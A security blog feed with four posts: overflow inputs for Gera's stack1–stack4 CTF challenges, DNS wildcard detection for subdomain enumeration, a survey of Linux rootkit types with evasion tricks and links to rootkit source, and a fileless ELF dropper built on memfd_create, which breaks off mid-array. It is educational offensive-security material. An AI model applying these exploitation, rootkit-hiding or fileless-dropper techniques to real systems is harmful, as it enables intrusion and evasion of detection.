koppian adventures
2024-03-10T20:58:44+00:00
https://hkopp.github.io
Hkopp
hkopp22@yahoo.de
Geras Insecure Programming Challenges
2024-03-10T00:00:00+00:00
https://hkopp.github.io/2024/03/geras-insecure-programming-challenges
<h2 id="introduction">Introduction</h2>
<p>In this post we will take a look at some of Gera’s Insecure programming
challenges. These are a popular set of computer security challenges
flying around the web. We will look at the challenges called stack1.c
up to stack5.c
We compile everything with <code class="language-plaintext highlighter-rouge">gcc -m32 stackn.c -o stackn.o</code>, where n
is from 1 to 4. This says to gcc that we want a 32-bit binary.</p>
<h2 id="stack1c">Stack1.c</h2>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="cm">/* stack1-stdin.c *
* specially crafted to feed your brain by gera */</span>
<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">int</span> <span class="n">cookie</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">80</span><span class="p">];</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"buf: %08x cookie: %08x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="o">&</span><span class="n">buf</span><span class="p">,</span> <span class="o">&</span><span class="n">cookie</span><span class="p">);</span>
<span class="n">gets</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">cookie</span> <span class="o">==</span> <span class="mh">0x41424344</span><span class="p">)</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"you win!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span></code></pre></figure>
<p>As we can see the program allocates an integer and an array buf of 80
bytes on the stack and copies stdin into buf. That is already
everything. If we get the integer to change to 0x41424344 then we win.
0x41424344 converted to ASCII is ABCD, by the way.
We know that the stack grows in direction of the small addresses, so
the memory layout is likely as follows:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>low addresses
--
buf[0]
--
...
--
buf[79]
--
4 Byte cookie
--
high addresses
</code></pre></div></div>
<p>That is we need to insert 80 bytes of junk and then “DCBA” (because of
endianness) to overwrite the cookie.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python -c 'print("A"*80+"DCBA")' | ./stack1.o
buf: ffe7697c cookie: ffe769cc
you win!
</code></pre></div></div>
<h2 id="stack2c">Stack2.c</h2>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="cm">/* stack2-stdin.c *
* specially crafted to feed your brain by gera */</span>
<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">int</span> <span class="n">cookie</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">80</span><span class="p">];</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"buf: %08x cookie: %08x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="o">&</span><span class="n">buf</span><span class="p">,</span> <span class="o">&</span><span class="n">cookie</span><span class="p">);</span>
<span class="n">gets</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">cookie</span> <span class="o">==</span> <span class="mh">0x01020305</span><span class="p">)</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"you win!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span></code></pre></figure>
<p>This is basically the same, but this time we need to write 0x01020305
over the cookie.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python -c 'print("A"*80+"\x05\x03\x02\x01")' | stack2.o
buf: ffbb34ec cookie: ffbb353c
you win!
</code></pre></div></div>
<h2 id="stack3c">Stack3.c</h2>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="cm">/* stack3-stdin.c *
* specially crafted to feed your brain by gera */</span>
<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">int</span> <span class="n">cookie</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">80</span><span class="p">];</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"buf: %08x cookie: %08x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="o">&</span><span class="n">buf</span><span class="p">,</span> <span class="o">&</span><span class="n">cookie</span><span class="p">);</span>
<span class="n">gets</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">cookie</span> <span class="o">==</span> <span class="mh">0x01020005</span><span class="p">)</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"you win!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span></code></pre></figure>
<p>Again the same? Yes. But this time, the interesting thing is that we
have a 0x00. Normally this is the Null-terminator. Strings in C end
with 0x00 because this is the only way the computer can see that he
has encountered the end of the string and can stop reading.
Interestingly ‘gets’ does not care.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python -c 'print("A"*80+"\x05\x00\x02\x01")' | stack3.o
buf: ffd5998c cookie: ffd599dc
you win!
</code></pre></div></div>
<h2 id="stack4c">Stack4.c</h2>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="cm">/* stack4-stdin.c *
* specially crafted to feed your brain by gera */</span>
<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">int</span> <span class="n">cookie</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">80</span><span class="p">];</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"buf: %08x cookie: %08x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="o">&</span><span class="n">buf</span><span class="p">,</span> <span class="o">&</span><span class="n">cookie</span><span class="p">);</span>
<span class="n">gets</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">cookie</span> <span class="o">==</span> <span class="mh">0x000d0a00</span><span class="p">)</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"you win!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span></code></pre></figure>
<p>Ah, the same stuff again. Piece of cake.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python -c 'print("A"*80+"\x00\x0a\x0d\x00")' | stack4.o
buf: ff8efd3c cookie: ff8efd8c
</code></pre></div></div>
<p>Whoa, what happened? We are doomed.</p>
<p>Okay, according to the man-page gets reads until a newline or EOF is
encountered. Unfortunately the combination \x0a\x0d when ASCII-encoded
is a newline. We need to think of something else.
First let us recompile the binary with <code class="language-plaintext highlighter-rouge">gcc -g -fno-stack-protector -m32
stack4.c -o stack4.o</code>. The -g enables debug symbols to ease our lives,
-fno-stack-protector disables stack canaries, which are a security
mechanism. This also eases what we intend to do.
Let us take a look at the binary:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ r2 -A stack4.o
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[ ] [*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan))
-- R2 loves everyone, even Java coders, but less than others
[0x08048370]> pdf @main
....
| 0x0804849b e890feffff call sym.imp.gets
| 0x080484a0 83c410 add esp, 0x10
| 0x080484a3 8b45f4 mov eax, dword [ebp - local_ch] ; stack4.c:13 if (cookie == 0x000d0a00) ; .//stack4.c:13
| 0x080484a6 3d000a0d00 cmp eax, 0xd0a00
| ,=< 0x080484ab 7510 jne 0x80484bd
| | 0x080484ad 83ec0c sub esp, 0xc ; stack4.c:14 printf("you win!\n"); ; .//stack4.c:14 .if (cookie == 0x000d0a00)
| | 0x080484b0 686c850408 push str.you_win_ ; str.you_win_ ; "you win!" @ 0x804856c
| | 0x080484b5 e886feffff call sym.imp.puts
| | 0x080484ba 83c410 add esp, 0x10
| | ; JMP XREF from 0x080484ab (sym.main)
| `-> 0x080484bd b800000000 mov eax, 0
| 0x080484c2 8b4dfc mov ecx, dword [ebp - local_4h_2] ; stack4.c:15 } ; .//stack4.c:15 ..printf(\"you win!\n\");
....
</code></pre></div></div>
<p>We can see that there is a comparison (cmp) with the value of the cookie and if they are not equal, we jump over the block with the “you win”-string.
Let me explain to you something I did not mention earlier. When gets is called
in 0x0804849b, the program pushes the current location of the instruction
pointer to the stack. It needs to know where to continue execution
after the puts routine. Further it needs to know where the previous
stack frame started, so it also remembers a frame pointer which points
towards the previous stack frame.
Thus our stack layout from above actually is as follows:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>low addresses
--
buf[0]
--
...
--
buf[79]
--
4 Byte cookie
--
frame pointer
--
return address
--
high addresses
</code></pre></div></div>
<p>If we craft a special string we can overwrite the return address.
Which return address would we like? 0x080484b0 seems like a good
choice, since then we pass over the evil jump.</p>
<p>Well, this is left as an easy exercise for the determined reader.
You would not learn anything more, if i give you the code.
If you get stuck, think about endianness.</p>
Dns Wildcard Detection
2024-02-19T00:00:00+00:00
https://hkopp.github.io/2024/02/dns-wildcard-detection
<h1 id="introduction">Introduction</h1>
<p>This blog post concerns how to detect wildcard DNS records.
This is an important step, e.g., when enumeration subdomains using
brute force, which is a common part of bug bounty hunting and CTF
playing.</p>
<h1 id="background">Background</h1>
<p>A wildcard DNS record is a DNS record that matches any subdomain.
An example is
<code class="language-plaintext highlighter-rouge">*.example.com</code> that matches every subdomain that ends with
<code class="language-plaintext highlighter-rouge">.example.com</code>.</p>
<p>Wildcards in DNS only work as the leftmost wildcard label. This means
that <code class="language-plaintext highlighter-rouge">*.example.com</code> is valid. The resource records
<code class="language-plaintext highlighter-rouge">www.*.example.com</code> and <code class="language-plaintext highlighter-rouge">*www.example.com</code> are both invalid.
Further, wildcards can occur at any level except for some top level domain,
i.e. <code class="language-plaintext highlighter-rouge">*.www.example.com</code> is again valid.</p>
<p>A wildcard matches only if the resource record does not exist. This
means that even if there is a wildcard for <code class="language-plaintext highlighter-rouge">*.example.com</code>, we could
have a different DNS record for <code class="language-plaintext highlighter-rouge">www.example.com</code>, as that is not
matched by the wildcard.</p>
<p>There are multiple RFCs regarding DNS wildcards, such as <a href="https://datatracker.ietf.org/doc/html/rfc1034">RFC 1034</a>
<a href="https://datatracker.ietf.org/doc/html/rfc4592">RFC 4592</a>.
There are additional clarifications in <a href="https://datatracker.ietf.org/doc/html/rfc1912">RFC 1912</a>.</p>
<p>Still, wildcard matching is unintuitive and badly defined. To quote
RFC 1912, “A common mistake is thinking that a wildcard MX for a zone
will apply to all hosts in the zone. A wildcard MX will apply only to
names in the zone which aren’t listed in the DNS at all.”
That means, if there is a wildcard MX for <code class="language-plaintext highlighter-rouge">*.example.com</code>, and an A record (but no MX
record) for <code class="language-plaintext highlighter-rouge">www.example.com</code>, the correct response (as per RFC 1034) to
an MX request for <code class="language-plaintext highlighter-rouge">www.example.com</code> is “no error, but no data”. This is
in contrast to the expected response of the MX record
attached to <code class="language-plaintext highlighter-rouge">*.example.com</code>.</p>
<p>Note that this is only according to the specification, and
implementations can differ wildly.</p>
<p>Additionally, funny things can happen if wildcard DNS records interact
with load balancers.
As an example, if there is a wildcard DNS entry <code class="language-plaintext highlighter-rouge">*.example.com</code>, then
<code class="language-plaintext highlighter-rouge">abc.example.com</code> and <code class="language-plaintext highlighter-rouge">def.example.com</code> could still
(deterministically) resolve to different IP addresses due to the
presence of a DNS load balancer.</p>
<h1 id="wildcard-detection">Wildcard Detection</h1>
<p>When enumeration subdomains of a domain using tools such as gobuster,
dnsx, or similar, we are interested only in the <em>real</em> domains that
offer web services. This means we have to detect if we have a wildcard
match or a real domain.</p>
<h2 id="detection-approach-1-querying-nonexistent-subdomains">Detection Approach 1: Querying Nonexistent Subdomains</h2>
<p>One approach that is often recommended on the Internet to detect the
presence of a wildcard DNS entry is to query for
<code class="language-plaintext highlighter-rouge"><somerandomstring>.example.com</code>. If the string is long enough, then
the probability that this subdomain exists is negligible. If an A
record is returned, there probably exists a wildcard DNS record
<code class="language-plaintext highlighter-rouge">*.example.com</code>. The probability of an incorrect detection can be
decreased further when querying different random subdomains.</p>
<ul>
<li>
<p><em>Advantage</em>: We can detect the presence of a DNS wildcard with arbitrary
precision.</p>
</li>
<li>
<p><em>Disadvantage</em>: We cannot detect exceptions of the wildcards. Thus,
if there is a resource record <code class="language-plaintext highlighter-rouge">*.example.com</code> and <code class="language-plaintext highlighter-rouge">www.example.com</code>,
then we can not detect the presence of <code class="language-plaintext highlighter-rouge">www.example.com</code>.</p>
</li>
</ul>
<h2 id="detection-approach-2-querying-the-wildcard-directly">Detection Approach 2: Querying the Wildcard Directly</h2>
<p>An even more reliable approach for detecting the presence of a
wildcard DNS entry is to query directly for <code class="language-plaintext highlighter-rouge">*.example.com</code>. This can
be achieved for example using <code class="language-plaintext highlighter-rouge">dig '*.example.com'</code> If this record
exists, then we know for sure that the wildcard DNS resource record
exists.</p>
<ul>
<li>
<p><em>Advantage</em>: We are certain to detect the presence of a DNS
wildcard.</p>
</li>
<li>
<p><em>Disadvantage</em>: As above we cannot detect exceptions to the
wildcards. Thus, if there is a resource record <code class="language-plaintext highlighter-rouge">*.example.com</code> and
<code class="language-plaintext highlighter-rouge">www.example.com</code>, then we can not detect the presence of
<code class="language-plaintext highlighter-rouge">www.example.com</code>.</p>
</li>
</ul>
<h2 id="detection-approach-3-counting-records">Detection Approach 3: Counting Records</h2>
<p>In order to additionally detect exceptions to the wildcards, we could
count the different IPs that are returned. Then we reject those subdomains
corresponding to frequent IPs, where frequent means “larger than some
threshold”.</p>
<p>Suppose we perform DNS queries for</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">api.example.com</code></li>
<li><code class="language-plaintext highlighter-rouge">confluence.example.com</code></li>
<li><code class="language-plaintext highlighter-rouge">en.example.com</code></li>
<li><code class="language-plaintext highlighter-rouge">ftp.example.com</code></li>
<li><code class="language-plaintext highlighter-rouge">gitlab.example.com</code></li>
<li><code class="language-plaintext highlighter-rouge">k8s.example.com</code></li>
<li><code class="language-plaintext highlighter-rouge">wiki.example.com</code></li>
<li><code class="language-plaintext highlighter-rouge">www.example.com</code></li>
</ul>
<p>Further, suppose that all these queries return the IP address
<code class="language-plaintext highlighter-rouge">1.2.3.4</code>, except for <code class="language-plaintext highlighter-rouge">www.example.com</code> that returns <code class="language-plaintext highlighter-rouge">4.3.2.1</code>. Then
we could heuristically reason that there is one DNS record for
<code class="language-plaintext highlighter-rouge">www.example.com</code>, and one for <code class="language-plaintext highlighter-rouge">*.example.com</code>.</p>
<ul>
<li>
<p><em>Advantage</em>: With this detection approach, we can heuristically
detect the wildcards, and some of the exceptions to the wildcards,
that we have in our wordlist of queries.</p>
</li>
<li>
<p><em>Disadvantage</em>: The disadvantage to this approach is that it only
works heuristically, i.e., it is not reliable. It is possible that
<em>we detect wildcard records that do not exist</em>. As an example, the
resource records for the subdomains that resolve to <code class="language-plaintext highlighter-rouge">1.2.3.4</code> could
all exist individually. This is often the case if they are hosted at
some cloud provider, or in the case of the same shop in different
languages and thus with different top level domains. However, with
this method they are deemed as being wildcards, even though they are
not.
Further, <em>we do not detect all wildcard records</em>. As an example,
consider that there is a wildcard domain that is combined with a DNS
load balancer. In that case the DNS server returns multiple IPs for
the same wildcard DNS entry. Our approach would (depending on the
threshold) detect that these domains do not belong to wildcard
records, even though they do.</p>
</li>
</ul>
<h2 id="detection-approach-4-counting-records-and-querying-wildcards">Detection Approach 4: Counting Records and Querying Wildcards</h2>
<p>This approach combines the two approaches explained above.
First, we query for <code class="language-plaintext highlighter-rouge">*.example.com</code>. If this record does not exist,
then we know that there is no such wildcard DNS resource record and
we can continue with out wordlist. Even if all queried domains resolve
to the same IP address, we know that this is not due a wildcard resource
record. It could for example be due to a shared hosting environment.</p>
<p>If the wildcard record does exist, then we know that we have to deal
with a wildcard DNS record. However, regarding the detection of
exceptions, we are none the wiser and still continue with the
wordlist. Frequent IPs are assumed to have been matched by the
wildcard DNS record. However, this assumption could still be wrong.
Infrequent IPs could still have been matched by the wildcard and be
the result of DNS loadbalancing.</p>
<ul>
<li>
<p><em>Advantage</em>: We can reliably detect resource records belonging to a wildcard.</p>
</li>
<li>
<p><em>Disadvantage</em>: We still cannot reliably detect the exceptions to
the wildcard. We do not have the problem anymore, of detecting
wildcard records that do not exist. But we still have the problem
that <em>we cannot reliably detect the exceptions to the wildcards</em>.
Again, if a wildcard resource record exists in combination with a
load balancer, we get multiple different IPs for different queries.
We cannot detect if these different responses are due to different
DNS resource records or due to the load balancer returning different
IPs for the same wildcard resource record.
From the other perspective, if we know that we have a DNS wildcard
record, then the web server at that IP may still serve different
content depending on the virtual host that is requested. So in this
scenario we also cannot reliably detect the exceptional domains.</p>
</li>
</ul>
A Survey Of Linux Rootkits
2023-10-24T00:00:00+00:00
https://hkopp.github.io/2023/10/a-survey-of-linux-rootkits
<h2 id="introduction">Introduction</h2>
<p>This blog post gives an overview of three types of Linux rootkits,
ordered by their complexity.</p>
<h2 id="definitions">Definitions</h2>
<p>What is a rootkit? A rootkit is a program that is installed on a
computer after it is breached. It allows the attacker to maintain a
foothold on the system. Thus, it is a mechanism for achieving
persistence. Consequently it should be stealthy, should survive
reboots, and should offer a backdoor, so the attacker can again
execute commands on the machine without repeating the steps that were
taken in the initial compromise.</p>
<p>In the Linux world there are three main types of rootkits:</p>
<ul>
<li>Simple Daemons</li>
<li>LD_PRELOAD Rootkits</li>
<li>Kernel Rootkits</li>
</ul>
<h2 id="1-simple-daemons">1. Simple Daemons</h2>
<p>Daemons are probably the easiest types of rootkits on Linux systems.
They are simple jobs that are configured within the init system, such
that they are started on boot. They have the form of an executable
that is executed. An example is a systemd daemon, or an entry in
<code class="language-plaintext highlighter-rouge">/etc/rc.local</code>.</p>
<p>Even though they are the easiest to program, they are also the easiest
to detect.
On this level, they can hardly offer any evasion capabilities.
Consequently they can be found in the list of running processes, even
though they may hide under a name that does not look suspicious.</p>
<h2 id="2-ld_preload-rootkits">2. LD_PRELOAD Rootkits</h2>
<p>These rootkits are more complex to write than simple daemons. They are
in the form of a library that is preloaded.
As an example, if they are registered within <code class="language-plaintext highlighter-rouge">/etc/ld.preload.so</code>,
they are preloaded for any other executable in user space.</p>
<p>These types of rootkits can offer library hooking functionalities in
order to hook functions in libc. As an example, it is trivially
possible to hook a function such as <code class="language-plaintext highlighter-rouge">open()</code>, so that it hides files
with special filenames. This way, the library can hide itself,
and the existence of <code class="language-plaintext highlighter-rouge">/etc/ld.preload.so</code>.</p>
<p>A minimal viable LD_PRELOAD rootkit hooks at least <code class="language-plaintext highlighter-rouge">stat()</code>, <code class="language-plaintext highlighter-rouge">open()</code>,
<code class="language-plaintext highlighter-rouge">opendir()</code>, <code class="language-plaintext highlighter-rouge">readdir()</code>, <code class="language-plaintext highlighter-rouge">unlink()</code> and its 64bit counterparts.</p>
<p>Rootkits making use of this technique are fairly easy to maintain,
as they are compatible with lots of different versions of libc and
lots of different distributions.</p>
<p>The sophistication of their evasion capabilities is between those of simple daemons and
kernel rootkits. Hooking library calls can hide then from common tools
such as <code class="language-plaintext highlighter-rouge">ls</code>, <code class="language-plaintext highlighter-rouge">cat</code>, <code class="language-plaintext highlighter-rouge">vim</code>, <code class="language-plaintext highlighter-rouge">ps</code> and others. However, if one decides
to search for them, they can still be detected.</p>
<p>As they only hook
dynamically linked executables, they can be found using statically
linked binaries, such as busybox.
Another way to detect them is dumping the file system using <code class="language-plaintext highlighter-rouge">dd</code> and
restoring the index and comparing that index to the output of a
suitable <code class="language-plaintext highlighter-rouge">find</code> command.
A third way of detection is by searching for the LD_PRELOAD environment
variable. If the rootkit performs <code class="language-plaintext highlighter-rouge">unsetenv()</code>, the environment
variable LD_PRELOAD is hidden from the command <code class="language-plaintext highlighter-rouge">env</code>.
This can be achieved by executing <code class="language-plaintext highlighter-rouge">unsetenv()</code> in the constructor of
the library, so that it is executed when the library loads. For this
purpose, when using gcc it suffices to prefix the function with
<code class="language-plaintext highlighter-rouge">__attribute__((constructor))</code>.
However, the environment variable is still persistent in the mapping
of the binary in memory, and thus can be detected, e.g. by executing
<code class="language-plaintext highlighter-rouge">cat /proc/self/environ</code>.</p>
<p>If you are interested in source code of LD_PRELOAD rootkits, you can
take a look at the following links.</p>
<ul>
<li><a href="https://github.com/chokepoint/azazel">azazel</a></li>
<li><a href="https://github.com/chokepoint/Jynx2">Jynx2</a></li>
<li><a href="https://github.com/chokepoint/jynxkit">jynxkit</a></li>
<li><a href="https://github.com/mempodippy/vlany">vlany</a></li>
<li><a href="https://github.com/NexusBots/Umbreon-Rootkit">Umbreon-Rootkit</a></li>
<li><a href="https://github.com/nopn0p/rkorova">rkorova</a></li>
<li><a href="https://github.com/unix-thrust/beurk">beurk</a></li>
</ul>
<h2 id="3-kernel-rootkits">3. Kernel Rootkits</h2>
<p>The main problem with LD_PRELOAD rootkits is that they still reside in
user space and have to hide from other user space programs.
Consequently their stealthiness is limited.</p>
<p>While LD_PRELOAD rootkits can only hook other library functions,
kernel rootkits are able to hook syscalls. In user space it is
theoretically also possible to hook syscalls using the ptrace
syscall, but that is laborious and has to be performed for each
process.</p>
<p>Consequently it makes sense to install a rootkit inside kernel space.
Beyond hooking syscalls and thus outsmarting statically and dynamically
linked binaries, kernel rootkits can also modify the list of processes
that are managed by the kernel in order to stay undetected. However,
installing a kernel rootkit is more invasive compared to an LD_PRELOAD
rootkit and may thus be easier to detect. Still, once installed, a
sophisticated kernel rootkit is hard to detect, especially if the
detection mechanisms reside in user space.</p>
<p>A major drawback of kernel rootkits is that they have to be targeted
towards specific versions of kernels. If a new kernel is released,
then the rootkit may not work anymore, as some functions are not
available anymore. In particular, around kernel 2.6, the calling
convention for functions changed. Consequently, maintaining reliable
code for a kernel rootkit is a more extensive task.</p>
<p>If you are interested in kernel rootkits, a good candidate to study is
Drovorub (see <a href="https://xcellerator.github.io/posts/linux_rootkits_10/">its excellent analysis by xcellerator</a> or <a href="https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF">the official NSA/FBI advisory</a>).
This is a rootkit by the Russian APT group Fancy Bear. It has a kernel
and a user space component.
The kernel component hooks some syscalls to remove processes, files,
and network sockets that would indicate its presence. The user space
component is used to communicate with the kernel component, by writing
commands to <code class="language-plaintext highlighter-rouge">/dev/null</code>. As an example these commands can hide network
connections or files. The output of these commands can again be read
from <code class="language-plaintext highlighter-rouge">/dev/null</code>.</p>
<p>While the functionality of this rootkit may not seem impressive and
can probably be recreated within some weeks, the hard part is to
maintain compatibility with different kernel versions.</p>
A Fileless Elf Dropper
2023-09-28T00:00:00+00:00
https://hkopp.github.io/2023/09/a-fileless-elf-dropper
<h1 id="introduction">Introduction</h1>
<p>A dropper is a program that is used to execute malicious code on a
computer. It is a kind of installer, that hides the malware from the
antivirus system, and the analyst.</p>
<p>In a <a href="/2023/02/a-dropper-in-golang">previous blog post</a>, i described a dropper that I designed in Golang. It had (at
least) two drawbacks:</p>
<ul>
<li>The malware that is delivered needs to be in the form of position independent
code, with all data inlined, so-called shellcode. While this works
for a proof of concept, it cannot be used to drop ELF files. Thus,
the malicious code, such as a stealer or remote access trojan needs
to be converted to shellcode before it can be dropped with the
previous dropper. That is cumbersome, especially for large programs.</li>
<li>The malicious code in the previous dropper was file-backed. In
contrast, a fileless dropper executes the payload in memory only and
thus is harder to detect.</li>
</ul>
<p>This blog post takes care of both these drawbacks by describing a fileless ELF dropper.
As the terminology in this area is not standardized, we could also call it a userspace
exec implementation in memory.</p>
<h1 id="the-payload">The Payload</h1>
<p>First of all we need a payload that we can drop.
While a real payload of a dropper has some malicious purpose such as
stealing credentials, as we are concentrating on the dropper we will
use a small harmless payload.</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="c1">// compile with gcc payload.c -o payload</span>
<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp">
#include</span> <span class="cpf"><stdlib.h></span><span class="cp">
#include</span> <span class="cpf"><unistd.h></span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span>
<span class="kt">ssize_t</span> <span class="n">len</span> <span class="o">=</span> <span class="n">readlink</span><span class="p">(</span><span class="s">"/proc/self/exe"</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buffer</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">len</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">buffer</span><span class="p">[</span><span class="n">len</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"My executable's file path is: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">buffer</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">perror</span><span class="p">(</span><span class="s">"Error reading executable path"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span></code></pre></figure>
<p>This payload returns the executable’s own file. While
it may be possible to write this as shellcode in assembly, it
is clear that larger programs become more cumbersome. That is the
motivation for dropping ELF files directly.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ gcc -o payload payload.c
$ ./payload
My executable's file path is: /home/user/<redacted>/payload
</code></pre></div></div>
<p>We can get the content of the payload binary as a static C array
using <code class="language-plaintext highlighter-rouge">xxd</code> as follows.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ xxd -i payload
unsigned char payload[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
....
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
unsigned int payload_len = 23592;
</code></pre></div></div>
<h1 id="the-dropper">The Dropper</h1>
<p>Now, on to designing the dropper.
The idea is to create an anonymous file descriptor using
<code class="language-plaintext highlighter-rouge">memfd_create()</code>. We write the ELF binary to this file
descriptor. Consequently the ELF is not backed by memory, but resides
only in RAM.
The binary is then available in <code class="language-plaintext highlighter-rouge">procfs</code> at <code class="language-plaintext highlighter-rouge">/proc/self/fd/%i</code>, where
<code class="language-plaintext highlighter-rouge">%i</code> is the return value of <code class="language-plaintext highlighter-rouge">memfd_create()</code>.
Consequently, we can execute it using <code class="language-plaintext highlighter-rouge">execl()</code>.</p>
<p>And that is basically everything there is to it.</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="cp">#define _GNU_SOURCE
#include</span> <span class="cpf"><stdio.h></span><span class="cp">
#include</span> <span class="cpf"><stdlib.h></span><span class="cp">
#include</span> <span class="cpf"><unistd.h></span><span class="cp">
#include</span> <span class="cpf"><sys/mman.h></span><span class="cp">
</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">payload</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
<span class="mh">0x7f</span><span class="p">,</span> <span class="mh">0x45</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x46</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span>
<span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x3e</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span>
<span class="p">....</span>
<span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span>
